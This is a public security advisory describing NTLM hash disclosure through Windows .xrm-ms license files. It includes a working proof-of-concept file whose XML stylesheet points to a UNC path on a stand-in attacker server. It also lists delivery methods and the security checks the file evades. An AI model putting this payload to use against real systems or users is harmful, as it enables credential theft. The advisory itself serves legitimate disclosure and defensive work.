[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: https://hyp3rlinx.altervista.org/advisories/Microsoft_Windows_xrm-ms_File_NTLM-Hash_Disclosure.txt [+] x.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.microsoft.com [Product] .xrm-ms File Type [Vulnerability Type] NTLM Hash Disclosure (Spoofing) [Video URL PoC] https://www.youtube.com/watch?v=d5U_krLQbNY [CVE Reference] N/A [Security Issue] The Windows XRM-MS file type is related to Microsofts software licensing infrastructure. C:\> assoc .xrm-ms=MSSppLicenseFile. An "xrm-ms" digital license file opens default (times a tickin) in Internet Explorer (MSIE) and on later OS versions switches to MS Edge. The ".xrm-ms" file format allows injecting XML stylesheets that will then get processed, when a user opens it. Adversaries can reference UNC paths for the stylesheet HREF tag that points to LAN network share or attacker controlled infrastructure. This results in an outbound connection to the attacker controlled network share and or server, leaking the target NTLM hash. Works from both a LAN network share perspective or remote forced drive-by download to a target etc. User interaction is required to open the file. During testing, xrm-ms file type not blocked by Windows Office Outlook client 2016 and a popular Email Gateway Security product as of few days ago. Xrm-Ms File points: 1) XRM-MS is not considered dangerous file type 2) Defaults to open in either MSIE or Edge Win7/10/11/Server 2019 3) Default Icon as it is Windows browser may make it appear more "trust-worthy" 4) Throws no errors from the stylesheet directive when processed 5) May bypass some inbound email security inspections 6) No MOTW roadblocks 7) No active content security warnings Tested successfully in Win7/Win10/Server 2019 Mileage may vary on Windows 11 and or recently updated systems. [Exploit/POC] Delivery options: Drive-by force download Email Network Share Archive .zip etc 1) Create .xrm-ms File with following content, adjust attacker server information. Actually, all you need is the one XML stylesheet to trigger it. <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="\\ATTACKER-SERVER\NTLMhashLeakDontMeetMSRCBarPoC" ?> <r:license xmlns:r="http://www.microsoft.com/DRM/rightsManager"> <r:licenseID>12345-67890-ABCDE</r:licenseID> <r:productName>Windows(R) Operating System, VOLUME_KMSCLIENT channel</r:productName> <r:productKeyID>XXXXX-XXXXX-XXXXX-XXXXX-XXXXX</r:productKeyID> <r:hardwareBinding> <r:hash>AA11BB22CC33DD44EE55</r:hash> </r:hardwareBinding> <r:validity> <r:validFrom>2024-01-01T00:00:00</r:validFrom> <r:validUntil>2025-01-01T00:00:00</r:validUntil> </r:validity> <r:signature>...</r:signature> </r:license> [Network Access] Remote [Severity] Medium [Disclosure Timeline] Vendor Notification: April 17, 2025 MSRC response: "report is a moderate spoofing and doesn't meet the bar." April 29, 2025 April 30, 2025 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content copyright (c). hyp3rlinx